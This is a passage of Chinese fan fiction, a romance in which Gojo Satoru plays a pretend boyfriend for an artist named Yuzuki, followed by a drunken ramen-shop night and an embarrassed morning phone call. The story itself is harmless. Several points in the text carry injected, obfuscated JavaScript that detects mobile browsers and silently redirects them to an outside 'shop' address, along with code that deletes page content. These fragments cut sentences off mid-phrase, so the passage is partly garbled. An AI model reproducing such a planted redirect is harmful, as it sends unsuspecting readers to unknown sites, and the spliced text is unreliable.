动作懒得像在按灭一只烦人的闹钟。 空间却在那一瞬间出现了肉眼可见的扭曲——像透明的薄膜被人徒手拧皱,发出细微到令人牙酸的裂响。 “赫。” 他念出这个字时,语调平得像在点餐。 猩红的光芒在一瞬间膨胀后轰然炸开。 没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他把名字念得慢悠悠的,像在舌尖滚了一圈。 “你这是……犯规欸。” *** 包厢里短暂死寂一秒。 随即彻底炸开。 “哈?!真的假的?!” “等等等等,结月酱你刚刚说什么?老公?!” “你什么时候交的男朋友?!” 结月慢条斯理把手机放回包里,语气平静得近乎敷衍: “是真的。” “昨天。” “相亲认识的。” 杀伤力像贴地爆开的鱼雷。 “相亲?!” “昨天?!” “那人多大?做什么的?!” 她想了想,挑了一个最无害、也最普通的答案: “年纪差不多。” “工作……普通高中老师。” 空气安静了一瞬。 随即是一阵毫不掩饰的哄笑与起哄。 “哈?高中老师?!” “这条件怎么想都不如宫下桑吧?” 结月垂下眼,笑意很淡。 “是吗。” 她端起杯子喝了一口,像是把烦躁也一并咽下去。 ——可她脑子里浮出的,却是电话那头那一声“摩西摩西~”。 轻得像撒糖。 也让人莫名心烦。 因为她忽然意识到一件事: 她刚才那通电话,台词演得太顺口了。 顺口到像她本来就该那么叫他。 7. 第 7 章 如果不是那些轰炸向她的问题全都是关于她这位‘无中生有的男朋友’,朝日奈结月还不会意识到原来她对五条悟,在见了两面,相处了快七个小时后,还是几乎一无所知。 ——“哇,真的谈恋爱了吗?有照片吗?长得帅吗?” ——“他在哪里教课?不会是涉谷那个国际高中吧?” ——“教什么的呀,感觉结月酱看起来像是会喜欢体育生那一类,不会真的是体育老师吧?” ——“我记得朝日奈桑是INFP吧?他是什么MBTI?” 没有照片。 不知道。不知道。什么都不知道。 朝日奈不停地微笑着借以端起酒杯喝酒这个动作来搪塞所有问题。 她不知道他的过去,不知道他的童年,家里有几口人,是否有兄弟姐妹。 不知道他的感情过往,不知道他最喜欢的电影,不知道他的MBTI,不知道他除了甜食还喜欢什么。 他喜欢晴天还是雨天?度假喜欢去森林、海边还是城市? 她甚至连他具体在什么学校教课,教的是什么课都不知道。 但是她确定这七个多小时里,明明他才是说话更多的那一个。 她在快要露馅之前借口等下有约会,假装体面的落荒而逃。 ——然后就这样,莫名其妙的,她站在烤肉店门口,火树银花的银座街头,忽然不知道该往哪里走。 要现在就坐JR线回家吗?可是烤肉她才吃了两口,白天光顾着画画了,饥肠辘辘地喝了酒,总觉得就这样回家有些狼狈。 要去买饭吗?随便找个居酒屋,还是去711买炸鸡垫垫肚子? 就在她沉思的时候,宫下桑居然出来了。像是猜到了她根本无处可去,一定还在门口。 “其实朝日奈小姐根本就没有什么男朋友吧。”他推开门,安静地站在她身侧,笑得无奈。 朝日奈结月微微蹙眉,镇静自若地维持着自己的‘谎言’:“你明明也听见我给男朋友打电话了。怎么可能没有。” “那些问题,朝日奈小姐一个也回答不上来吧。所以才一直不停地微笑着喝酒,不是吗?”他一副很了解她的样子意味深长地说:“如果真的有男朋友的话,这种聚会,你一定会带他一起来的。但是绝对不会自己一个人来的。” 结月下意识地反驳:“他只是加班而已,谁说我不会——” “因为朝日奈小姐的时间很宝贵。如果真的谈恋爱的话,一定是足够喜欢那个人,才会把自己的时间分给他。这样的朝日奈小姐,并不会再愿意把本来就珍贵的时间,分给这种‘无聊的聚会’了。” “很清高傲慢呢,朝日奈小姐,自己不会觉得,但是我知道,在你心里,我和包厢里的他们一样,对于朝日奈小姐来说,都是连名字都不记得的路人吧?” 他故意停顿了快一分钟的时间,给足了她机会反驳。 她头一次说不出反驳的话来。 “那么,还是单身的朝日奈小姐,可以再给我一次机会追求你吗?以一个卑微的、谦虚的、追求者的身份,和你相处,好吗?” 银座夜色被霓虹切割成一块一块的光影,落在人行道上,像是永远不会冷却的焰火。 宫下的话落下后,空气安静了几秒。 安静到结月能清楚地听见自己耳边血液流动的声音。 她忽然意识到一件事—— 这个人并不是“看不懂她的拒绝”。 他只是选择性无视。 “抱歉。” 结月终于开口,语气平稳得近乎冷淡,“我不需要被任何人‘再给一次机会’。” 宫下的笑容僵了一瞬,很快又恢复成那种温和、克制、仿佛永远站在道德高地上的表情。 “朝日奈小姐不必这么紧张。” 他说,“我只是觉得,你现在的状态,并不像一个被珍惜、被照顾得很好的人。” 这句话像一根不太明显、却精准扎进来的刺。 结月皱起眉,下意识地后退了半步。 “我有没有被照顾好,和你没有关系。” “当然有关系。” 宫下向前一步,刻意压低了声音,“因为如果没有人好好照顾你,那我就有理由站出来。” 她终于感到了一种明确的厌烦。 不是愤怒,也不是慌乱。 而是一种——被侵犯私人边界后的冷硬疲惫。 “宫下桑。” 她打断他,语气第一次失去了礼貌的余地,“我已经拒绝你了。” “可你并没有给出一个真正的理由。” 他盯着她的眼睛,“如果那个男朋友不存在,那你的拒绝,对我来说就没有成立的前提。” 原来如此。 结月忽然明白了。 在他眼里,她不是一个有明确意志的人。 她只是一个等待被“证明可以被追求”的对象。 她张了张口,正准备说出一句彻底不留余地的话—— “结月酱。” 声音从她身后响起。 轻快,懒散,带着一点理所当然的熟稔,像是刚从某个与现实无关的地方走出来。 结月的身体几乎是条件反射般地一僵。 下一秒,一只手自然地落在她肩上。 不是搂,也不是扣。 只是随意地搭着,却像是把某种无形的边界一并按了下来。 结月甚至没来得及回头。 周围原本嘈杂的环境,像是被什么东西悄无声息地掐断了音量。 “哎呀~抱歉抱歉。” 那人拖长了尾音,语气轻快,听不出半点真正的歉意。 “被学生缠住了。” 他说着,像是随口补充。 “明明说好要来接女朋友的,结果还是迟到了。” 宫下明显怔了一下。 结月缓慢地转过头。 映入眼帘的,是一身漆黑高专制服的五条悟。 外套剪裁利落,线条笔直而锋利,像是为战斗而生的轮廓,被冷光一寸寸勾勒出来。 黑色眼罩覆在他的眼上。 并不显得突兀。 反而像是这个人原本就该如此。 仿佛那不是遮挡视线的布料。 而是一道封存的界线。 仿佛有什么过于危险、过于锋利的东西,被随意地压在了那层黑色之下。 结月的呼吸微不可察地一滞。 明明从未见过他这样的装束。 心口却无端一沉。 陌生。 却又隐约带着某种说不清来处的熟悉感。 像是曾经在某个被遗忘的梦里—— 她见过同样的身影。 他站在那里,与周围霓虹、人流、街景之间,存在着一种微妙又突兀的割裂感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177034|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “悟君……” 她下意识开口,却在音节出口的刹那迟疑了。 五条悟微微低下头。 即使隔着眼罩,她也能清晰地感觉到—— 他的注意力,正落在自己身上。 “嗯?” 他轻轻应了一声,语调漫不经心。 “不是说好了吗,结月酱。” 他俯身靠近了些。 声音压低。 像是只说给她一个人听。 “在人前要叫我——anata。” 这句话落下的瞬间,宫下脸上的血色褪得一干二净。 五条悟这才像是终于注意到旁边还有个人似的,慢悠悠直起身。他并没有转向宫下,只是侧了侧脸,像在打量路边一团碍眼的垃圾。 他一只手依旧散漫地揣在口袋里,漫不经意低下头的动作也许是因为他身高的缘故,带着令人心惊的,居高临下的绝对压迫。 “啊。” 语气里满是敷衍的恍然。 “原来是你。” 他甚至没有移动脚步,可结月清楚感觉到自己已被彻底笼罩在他的影子里—— “你就是那个,”五条悟笑了一下,唇角弯起,声音却冷得刺骨,“刚才一直拉着我女朋友不放,还试图替她决定感情归属的——同学?” 宫下张了张嘴,喉咙发紧:“你是……” “我?”五条悟指了指自己,仿佛听到什么无聊的问题,“她男朋友。” 说完,他手臂微微一收。 结月被带近半步。 “如假包换哦~” 距离近得她能闻到他身上淡淡的甜香,混着一丝硝烟般凛冽的气息。她下意识伸手想去牵他—— 指尖在即将触碰时,突兀地停顿。 一层看不见的、凝滞的“什么”隔在那里。 不是墙,不是膜,是空间本身被无限拉长、稀释成粘稠的琥珀。她用力,却像陷入透明的凝胶,再怎么努力也无法真正握紧——仿佛她与他之间隔着整个宇宙的断层。 然后被她遗忘的那个梦乍现在眼前,就这么莫名其妙的想起来了梦里他的背影,和她连他衣角都抓不住的手心里的空落。 下一秒。 那层凝滞感骤然消失。 五指毫无预兆地滑入她的指缝,被他轻轻一扣,握紧。 不是被动地接受,而是主动的、甚至带点漫不经心玩弄意味的收拢。他的指尖不轻不重地捏了捏她的指节,像在确认触感,又像只是随手把玩。 结月呼吸一滞。 她抬起头。 黑色眼罩之后,她明明看不见他的眼睛,她却能清晰地感受他的“视线”—— 仿佛连灵魂深处久违痊愈的伤口都被他“看”到了。 她忽然颤抖了下。 像心脏最软的地方被淋了一捧雪。 宫下的语气第一次失了序。 “不可能……” “刚才她明明说没有男朋友,她根本无力反驳——” “因为才刚交往,”她听见自己的声音轻软下去,带着一种演练过的羞怯,“我还比较害羞。” 可脸上的烫意却那么真切。 说完,她像是为了掩盖什么一样,踮起脚尖,替他整理了一下本就不乱的衣领。 距离真的太近了。 是她脚尖再踮起一点点,扬起头,就可以吻到他肤色冷白的下巴。 8. 第 8 章 ——这是第一次,朝日奈结月忽然意识到,自己正在失控。 不是情绪上的一时冲动,也不是酒精残留后的错觉。 而是那种,连身体都先一步背叛理智的、危险的失控。 她竟然产生了想要吻一个人的冲动。 一种陌生的、滚烫的麻痒感,毫无征兆地从她的齿根蔓延开来——她想吻他。 不是亲吻嘴唇。 不是带着试探与暧昧的、可以随时后退的那种吻。 而是——想要吻他的眼睛。 那个让她第一次心跳失序、第一次开始做梦、第一次连画笔都无法握稳的人。 那个她明明只见过三次,却已经在不知不觉中侵入她生活节奏的人。 如果现在伸手,掀开他脸上那碍事的眼罩,拽住他的衣领迫使他低下头,再吻上他的眼睛—— 他会不会,也像她一样,在这一刻失去对身体的控制? 这个念头来得太快、太蛮横,甚至带着一点近乎掠夺的占有欲。 强盗一样,毫无预兆地闯进她的脑海。 结月被自己吓了一跳。 太可怕了。 不是五条悟。 是她自己。 于是,在确认宫下桑几乎是落荒而逃、脚步声彻底消失在街角之后,她几乎是本能地收敛了所有情绪。 她迅速压下唇角那点不受控制的弧度,抽回被他扣在指间的手。 然后后退。 一步。 ——还是太近。 两步。 这才终于拉开一个,勉强能让人呼吸的距离。 “……太感谢你了。” 她低下头,刻意避开他的方向,像是没注意到他在她抽回手的那一瞬间,周身气息骤然冷却的变化。 那种危险的、被压抑住的感觉,在看不见他眼睛的情况下,反而更加令人心惊。 “今天晚上那通电话,是我太唐突了。” 她语气礼貌、克制,几乎可以称得上疏离,“但是也很感谢五条先生能及时过来救场。我真的——” 话没说完。 被打断得干脆利落。 “哇哦。” 五条悟拖长了语调,像是听见了什么格外有趣的东西。 “‘五·条·先·生’?” 他把那四个字念得又慢又清晰,尾音轻飘飘地上扬,带着点近乎嘲讽的轻快。 “连‘悟君’都不叫了吗,结月酱?” 他向前迈了一步。 仅仅一步。 没有伸手,没有触碰,甚至连多余的动作都没有。 双手依旧懒散地揣在制服口袋里。 可那一瞬间,结月清楚地意识到—— 他已经重新侵入了她的安全距离。 五条悟微微低下头。 隔着眼罩,那种“被注视”的感觉却异常清晰,像是某种无形的重量,稳稳地落在她身上。 他的唇角噙着一抹不怎么走心的笑意。 不是温和,也不是玩笑。 更像是在强行把某种一旦溢出就会灼伤她的情绪,死死按在表面之下。 “用完就丢啊?” 他说得很轻,语气甚至称得上漫不经心。 “结月酱以为我是什么——” 他顿了顿,像是认真思考了一下措辞。 脸上那抹漫不经心的笑,一点点地消失。 他就这样站在离她一步之遥的位置,居高临下地睨视她。 “——召之即来、挥之即去的吉祥物吗?” 黑色眼罩隔绝了他的眼睛,面上又褪去了所有表情,这样面无表情的他,就连多看一眼都会让她不寒而栗。 她不自然地捋着散落额边的发,避开他的视线:“并不是这样的。我只是……” “只是什么?”他勾了勾唇角,噙着堪称冷淡的笑意,慢悠悠地问她。 她把‘只是好像有点生理性喜欢上一个我明明一点都不了解的你’这句绕嘴又闹心的话默默咽下去。 “我只是有点累了。”然后她这样平淡地笑着说。 “不然今天就这样吧。”她本来已经想好了分别的措辞。 她的话落下后。 空气却没有立刻变得轻松。 反而像是被什么无形的东西,短暂地按住了。 结月没有抬头。 可她很清楚地感觉到—— 那种从他身上逼近过来的存在感,停顿了一瞬。 不是消失。 更像是被强行收住了。 她甚至分不清,那一瞬的错位,是因为夜风掠过,还是因为自己紧绷到发疼的神经终于出现了错觉。 她只觉得—— 好像有什么本该落下来的东西,没有落下来。 这让她的心口不合时宜地轻轻一跳。 她下意识地屏住呼吸。 下一秒,才听见他的声音。 她听见五条悟没有说话,却溢出了一声让她不寒而栗的低笑,仿佛听见了一个冷到北极的笑话。 ——然后笑声像是被冷刃划过,戛然而止。语调愉悦却冷淡,仿佛蕴藏着冰。 “不会真的以为我是什么脾气很好的人吧,结月酱?” 他明明在笑,带着点冷淡的戏谑,却显得莫名而格外危险。 是那种让她多看一眼都会头皮发麻,心惊肉跳的神情。 虽然他明明..的确在笑。 一片突兀的寂静里,她听见自己耳道里血液冲刷的沙沙声。他唇角的笑又浅又冷,眼前这张带笑的漂亮面孔却比任何恐吓都凛冽吓人。 她往后又退了一步。 嗯——没事,JR站就在旁边,就不麻烦他送她回家了。 顺手帮他打个车好了,打车的钱她来付,这样也算还他的人情了吧。 以后……嗯,暂时还是先不要再见面了。她需要点时间来理清自己这兵荒马乱的‘上头’,毫无理由的‘喜欢’,到底是从哪里来的。 然后肚子就是在这个时候不合时宜的响了一声。 是饿了很久那种饥肠辘辘的‘咕噜’声。 她的脸轰然通红,蓦然抬头—— “那个,抱歉我...” 肠胃因为过度饥饿而痉挛的声音在此刻再一次不合时宜的响起。 五条悟脸上原本漠然而冰冷得近乎危险的神情,在一瞬的安静后,冰雪消融。 她看见他抬起手,单手捂着脸笑出了声。 空气里那层看不见的冰就这样骤然消散了。 仿佛刚才那个低头俯视她,笑容浅薄,就算双手揣兜什么都没有做——单单他的存在本身就瞬间拉响了危险警报的五条悟,只是她臆想出来的幻觉。 空气里弥漫着的那层看不见的冰就这样在他夸张的笑声下融化。 “噗哈哈哈,好可怜呢,结月酱。不会从早上到现在一口饭还来不及吃吧?” 他笑得毫不掩饰,肩膀微微发颤,连残余的那一点压抑到令人不安的气息都被这声笑冲散了。 结月僵了一秒,随即恼羞成怒地别开脸:“……笑什么。” “笑你。”五条悟理直气壮地说,“还有——” 他拖长了语调,像是忽然想起什么重要的事情。 “既然这样,就更不能放你一个人回去了吧?” “……什么?” “饿到这种程度的人,要是直接回家倒头就睡,明天绝对会胃痛的哦。”他说得一脸认真,仿佛这是什么常识,“结月酱可是艺术家吧?胃痛的话,画画会很辛苦的。” ——这人到底是怎么把“夜宵”说得这么理所当然的。 结月张了张嘴,本能想拒绝。 可拒绝的话还没来得及出口,身体却先一步给出了背叛理智的反应。 饿。 是真的饿。 那种胃部空空荡荡、连思考都变得迟钝的饿。 她沉默了两秒,像是在跟自己妥协,最终轻轻叹了口气。 “……只吃一点。” “好耶。”五条悟笑眯眯地应声,“那就去吃一点点吧。” 一点点。 结果是—— 凌晨一点还在营业的深夜拉面店。 油烟味混着骨汤的香气扑面而来,狭小的店面里坐着零零散散的夜归人,疲惫、放松、带着一点无所顾忌的真实。 这地方太“普通”了。 普通到让结月有点恍惚。 她很少来这种店。 不是嫌弃,而是她的生活总是被安排得过于体面——画廊、餐厅、应酬、安静又克制的空间。 可五条悟却像是对这种地方熟门熟路。 “老板~两份拉面。”他举起手,语气轻快,“她那份不要葱,我要双份叉烧。” 结月一愣,下意识看向他:“你怎么知道我不吃葱?” “诶?”他偏了偏头,语气自然得过分,“你汤咖喱的时候不是把葱全部挑出来了吗?” 结月:“……” 她竟然完全没意识到自己被注意到了这种细节。 她低下头,假装研究桌面上的调味料,心里却莫名有点乱。 太危险了。 这种被人轻易记住的感觉。 拉面很快端上来,热气腾腾。 结月原本只打算吃几口垫垫肚子,可第一口汤下肚,紧绷了一整晚的神经忽然像被什么温热的东西抚平了。 她吃得很安静。 而五条悟几乎没怎么动筷。 他单手支着下巴,视线落在她身上,漫不经心,又像是根本没打算遮掩。 “……你不吃吗?” 结月被看得有点不自在。 “会吃的啦。” 他懒洋洋地应了一声,却还是没动。顿了顿,又补一句:“不过现在这样看着结月酱一脸满足地吃香喷喷的拉面,好像更有意思欸~” “这种话很容易被误会的。” “诶?这么严格吗。” 五条悟弯了下唇角,“那换个说法。” 他语气随意得像在陈述天气。 “看你吃饭,会让人心情变得超~极棒哦。” 这句话太自然了。 自然到比刻意的暧昧更犯规。 结月低头喝汤,没有接话。 为了压下那点不合时宜的心跳,她鬼使神差地点了一瓶清酒。 一杯。 再一杯。 她的酒量并不算差,可今天实在太疲惫了。况且,在这一瓶以前,她已经一口闷了好几杯的山崎18,连冰都没有加的纯威士忌。 情绪起伏、紧张、后怕,还有那种被强行压了一整晚的失控感,一起反噬回来。 酒精上头得比预想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“就……一下,拜托了悟君。”语调越发软了,像慢吞吞融化的棉花糖。她一眨不眨的用那双有些失焦的、雾蒙蒙的眼睛看着他,面颊上泛着惑人的红晕。 五条悟像是轻轻笑了一声。唇角的笑容漂亮的漫不经意。 他安静地看了她两秒。 那两秒,漫长得不像是正常的停顿。 像是在冷静地评估,评估她现在到底清醒到什么程度。 也像是在判断—— 如果真的越过这条线,后果会变成什么样。 他舌尖抵了下上颚,低低地“啧”了一声。 “结月酱。”语调依旧是那种懒散的、带着笑意的。 却比刚才低了一点。 “你现在这个表情。”他微微歪了下头。 “是在故意勾引我吗?” 结月呼吸一滞,大脑一片空白。 想反驳,却发现自己连“不是”两个字都说不出口。 因为她也分不清。 她只是觉得胸口发紧。 喉咙发干。 像是有什么东西在体内缓慢地、危险地膨胀。 她没有回答。 只是很轻、很慢地,又往前挪了一点。 近到她能清楚地闻到他身上那点干净的气息。 近到她几乎要撞上他的胸口。 五条悟脸上的笑意终于淡了一点。 不是消失。 而是被某种更深的情绪覆盖了。 “……真是的。” 他像是在对她说,又像是在对自己说:“我刚才明明给过你机会了哦?” 结月仰着脸看他,视线有点失焦,却固执地停在他脸上。 那层黑色眼罩。 像一道横亘在他们之间的屏障。 她忽然伸出手。 动作很慢。 慢到像是在给他足够的时间拒绝。 指尖轻轻碰到眼罩边缘的布料。 布料是凉的。 可她的指尖却是热的。 热得发颤。 五条悟的呼吸,在那一瞬间,极轻微地乱了一下。 几乎察觉不到。 但结月感觉到了。 她不知道自己哪里来的勇气。 指尖微微用力。 却在真正掀起之前,被他握住了手腕。 力道不重。 却稳。 稳到她一下子动弹不得。 她心脏猛地一跳。 五条悟低下头。 高挺的鼻尖几乎要抵到她发烫的肌肤。 隔着眼罩。 距离近到危险。 “现在停下的话。” 他轻声说。 “我会当作什么都没发生。” 结月的睫毛颤了一下。 她没有后退。 也没有抽回手。 只是用有点发哑的声音,小声说: “……可是我想看。” 空气安静了一瞬。 五条悟忽然笑了。 不是刚才那种玩笑式的笑。 而是很浅、很短的一下。 “啊——” “真是拿你没办法。” 他在她亮盈盈的视线里,抬起了手。 修长的手指勾住眼罩边缘。 动作很慢。 慢到近乎纵容。 黑色眼罩被缓缓掀起。 9. 第 9 章 灯光落下。 那双苍蓝色的眼睛映入视野的一瞬间。 结月的呼吸彻底乱了。 不只是漂亮。 而是—— 过分璀璨,像某种不属于人类范畴的颜色。明明是那般耀眼得让人无法直视的蓝,凝视久了却又总觉得那双眼睛里蕴藏着无法消融的冰雪。 她停在离他极近的地方。 近到能感受到他温热的呼吸。 五条悟没有动。只是垂着眼看她。 “结月酱。” 结月的睫毛轻轻颤了一下。 她慢慢地靠近,很慢,慢到像是给自己预留了无数个逃跑的借口。酒精让一切感知变得迟钝又放大,她原本以为自己会停在他的唇前,可身体却自顾自地偏了轨。 几乎是条件反射般地抬起手。 指尖轻轻覆上他的眼睛。 掌心微微发着颤。 像是在遮住他。 又像是在遮住自己。 五条悟明显愣了一下。 随即,极轻地挑了下眉。 “诶?” 他语调懒散,却带着一点意味不明的笑意。 “这是在做什么?” 结月没回答。 只是隔着手掌,仍能清晰地感受到他的视线。 那种存在感强到离谱的注视。 她指尖不自觉地蜷了一下。 像是被烫到。 然后,用一种明显带着醉意的、黏糊又小声的语气开口: “……悟君。” “嗯?” “你……闭上眼睛,好不好。” 五条悟沉默了一瞬。 随后像是被逗乐了似的,低低笑了一声。 “结月酱。” 他慢悠悠地开口。 “你现在这个状态,说这种话——” “很容易被误会你想要对人家做什么不好的事情欸?” 他语气轻快,像在哄想要糖的小孩子,一只手懒洋洋撑着下巴,另一只手恶劣而不留情地揉乱她花好久才烫好的发。 酒精让理智变得迟钝。 她只是固执地维持着那个动作。 手还覆在他的眼睛上。 “……闭上。” 五条悟看了她两秒。 像是在评估。 又像是在给她最后一次机会。 “突然霸道起来了呢结月酱。醒来后一·定·会·后·悔哦?” 她愣了一下,然后有些恼羞成怒地大声地说,有些后知后觉的反应过来……她这样子的确很容易误会像是要强吻他一样。“我没有想要强吻你!!” 声音好像有些太大了,一下子成为了这家本来就不大的拉面馆里的声源。 刚才还热热闹闹、嘈嘈杂杂的馆子里瞬间就安静了一下,所有人——就连从后厨走出来端着托盘上拉面的服务员小姐姐,都忍不住朝他们看了一眼,一脸忍俊不禁。 尽管早就习惯成为众人的焦点,但是当代最强咒术师依旧是头一次因为这种原因被围观。 五条悟丝毫没有尴尬,反而笑得更开心了,他甚至在周围食客忍俊不禁的目光中,颇为配合地举起双手,做了个“投降”的姿势。 “好凶哦,结月酱。”他笑意盈盈地拉长了声音,手指转而捏了捏她发烫的脸颊,“看吧,大家都误会了。这可怎么办嘛。” 她一边气鼓鼓地拍掉他像高中男生一样调皮捣蛋的手,一边羞红了脸,大着舌头醉醺醺地说:“所以都说了让你、你你,闭上眼睛嘛。” 旁边那桌客人似乎笑着摇了摇头,窃窃私语着感慨现在的年轻小情侣可真是甜蜜。 “好嘛好嘛。”他用大人哄小孩子的语气回她,挺直着背脊,双手乖乖放在膝头上,一副三好学生的乖宝宝样,闭上了眼睛。 从她的角度,她看到的是他雪白浓密的睫毛就这样垂落下来,真的会让她想起北海道十二月汹涌落下的雪。 他的睫毛好像不会融化的雪花。 如果……含在嘴里,也会是冰凉凉的吗?会在唇齿间融化吗? 世界在结月眼前忽然安静了一点。 这个横冲直撞的突然涌现的念头,让她的心跳更乱了。 “好磨蹭哦结月酱~不会在偷偷做什么超过分的坏事吧?” 他歪了歪头,唇角噙着笑。 “我数三下,就要睁开眼睛了哦?” 这张线条冰冷的面孔在不笑的时候总是会给人一种心惊胆战的感觉,也许是捉摸不透的那种冷淡疏离,又或许是别的什么,可是笑起来的时候又惹眼的不像话,是那种会夺去人心神的、有点散漫、又带着些纵容,那样说不上来的感觉,会让多看他一眼的她心跳又开始失控。 “三~” 尾音被他拖得很轻,很慢,带着一点漫不经心的上扬,像指腹若有若无地刮过神经。 就连倒数,都是这种语气。 结月用朦胧的醉眼看着他。 视线没什么焦点,却又像在一寸一寸描摹他的轮廓。 “二~” 在他慢悠悠的倒计时结束以前—— 她吻上了他的眼睛。 像吻上落在指尖就快融化的雪,那样虔诚又小心翼翼的温柔,用唇瓣轻轻摩挲他的睫羽。 柔软的唇瓣含住他睫毛的瞬间,结月自己都怔住了。温热,柔软,像羽毛柔软的尖在微微颤动着,带着陌生又悸动的触感。 鬼使神差地,她的舌尖极轻地探出,沿着他眼睑的边缘,悄悄舔了一下。湿漉漉的舌尖舔了舔他雪白浓密的睫羽。 ……原来不会像雪一样融化啊。他的睫毛。 她看到他脸上向来游刃有余的笑在一瞬间消失。 她感受到他的身体在那一瞬间绷紧,反手攅紧她的腕子,像燃烧的雪,失温的火焰——从他周身漫溢而出的炙热而危险的气息密不透风的将她裹挟。 失去意识前的最后一秒,她的唇顺着他的眼睛,轻轻滑向他高挺的鼻尖。 像流离失所的小狗舔着依偎在窝里的另一只小动物,她伸出舌尖,小心翼翼地舔了舔他的鼻尖。 “都说了,没有想要强吻你……”她醉醺醺地说着意识清醒前的最后一句话,终于支撑不住,倒在了他的身上。 *** 如果不是第二天醒来看见桌上还冒着热气的白粥和一旁的温泉蛋,以及冰箱门上画了颗超大笑脸他留下来的便利贴,宿醉头疼的朝日奈结月一时半会儿还想不起来昨天晚上发生了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177036|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是救命啊她平时也喝酒啊从来就没有这么的过分啊! 更要命的是可能是羞耻度爆表,她完全记不得相亲对象是什么表情和反应了。 幸好他们昨天什么都没有发生。醒来的时候她完好无损地躺在自家软软的大床上,穿着那身剪裁精致的Snidel连衣裙,连最上面的扣子都还扣着。 就连被子都整整齐齐——她脑袋后面枕着的是她头一天叠好的被子。 身上却不会觉得冷。她蜷缩着躺在谁的制服外套下面,抱着袖子的一角,像是想要拽着谁的手不放。 她诈尸般坐起来—— 脑袋像是被车碾过一样炸裂般的疼,人还在晕着,胃也有些绞痛也许是喝太多威士忌的缘故。 所以昨天晚上,她…… 人越是在羞耻度爆表的时候,越是想话多——并且很想在这一刻逃离地球。 朝日奈结月心如死灰的狠狠闭了闭眼,绝望的给自己的男闺蜜拨通了电话。 幸好夏油杰的电话总是接的很快。不论她在多么尴尬的时间点给他打电话,总是会在铃声响第一下或者第二下就被接通。 “杰,你们教会还收人吗?修女啊、尼姑之类的?” 她深吸一口气,满脑子都是昨天晚上倒在他腿上蛄蛹的自己、和隔着布料硌在脸颊上的那惊人触感。 “我觉得……我好像比较适合出家。” 她一鼓作气地说起来:“我昨天晚上,非礼了我的相亲对象。还强吻了他。啊不——不是接吻的那种强吻。我我我吻了他的眼睛,还舔了他的睫毛啊啊啊!!” 她以为自己只是一个初吻都还在的矜持·羞涩·清高的玉女。 昨天这个形象在相亲对象那里发生了彻底的崩塌吧!!五条悟一定会误以为她特别特别喜欢他吧?啊啊啊啊她才没有呢,输人不输阵啊朝日奈结月! 电话那头男闺蜜的沉默震耳欲聋,隔着大半个东京她都能想象杰此刻怕不是顶着三个问号沉默疑惑地盯着手机不确定自己听见了什么。 男闺蜜总是很擅长抓重点。“结月酱昨天是,喝醉了吗?你的相亲对象……他有对你做什么吗?” 她总觉得这一刻他温和的语气莫名有些冷意。不过满脑子都是羞耻度爆表的结月没有去细想,只是用劫后余生的语气回答:“没有,完全没有,甚至连昨天晚上的衣服都没有帮我换,礼貌有分寸的简直和他说话的语气是两个人。” 她微微停顿,忽然更气了:“但是怎么可能有人真的这么正人君子?自己的相亲对象喝醉后这么主动了,明明有大好的机会居然什么都没做?是我不好看吗?还是他那方面不行啊?” 最后那个虎狼之词说出口的时候,她清楚地听见电话那头的杰似乎被什么呛了一下,咳得有些许狼狈。 结月越想越觉得不对:“他都没有等我睡醒就走了?好过分啊他。这么急着回家,不会家里还有隐婚的老婆、其实同时交往三个女朋友之类的吧?” 电话那头分不清是轻咳还是轻笑的声音传来:“噗、咳——要见面说吗,结月酱?” 朝日奈结月答应得很迅速。还好男闺蜜回来了,有个人转移她的注意力了。 不然今天要么东京爆炸要么她爆炸——总得炸一个。 10. 第 10 章 所以说,她当时到底是为什么会莫名其妙、鬼使神差、仿佛被什么饥渴的恶灵上身似得非要去相亲啊? 去相亲也就算了,大不了不见面就好了——但是莫名其妙拿错手机这种不着调的事情怎么可能会发生在自己身上? 拿错手机也就算了,自己怎么会脑子被卡车撞了似得非得给他打电话?打电话也就算了,喝醉了以后还去吻他的眼睛啊啊啊啊—— 这辈子没有脸再去见他了!也不可能再回他一条LINE了! 于是夏油杰到的时候,看见的就是不知道又想到了什么,捂着脸做鹌鹑状的朝日奈结月。 “撒西不理~结月……酱?”他笑眯眯地抬起手向她打招呼,话音还未落她已跳了起来,像看到什么救命恩人一样朝他奔来。 从来没看见过她这么急切的、迫不及待的想见他的表情。 早上九点半的宫下公园空无一人,只有开在顶楼的那家名叫 Valley Park Stand 的咖啡厅已经陆陆续续坐进了翘课的学生和涉谷的游客。 “杰,我的杰,你终于来了。”她抓着他的手腕迫不及待地推门而入:“你不知道,人越是尴尬的时候,越是不能独处。脑子里会一直不停的在重演尴尬的场面,并且会试图预测后续连锁反应……” 大早上便开始咖啡配酒的朝日奈结月在夏油杰不赞同的眼神下点了一杯威士忌拿铁。 “不来点 C 加 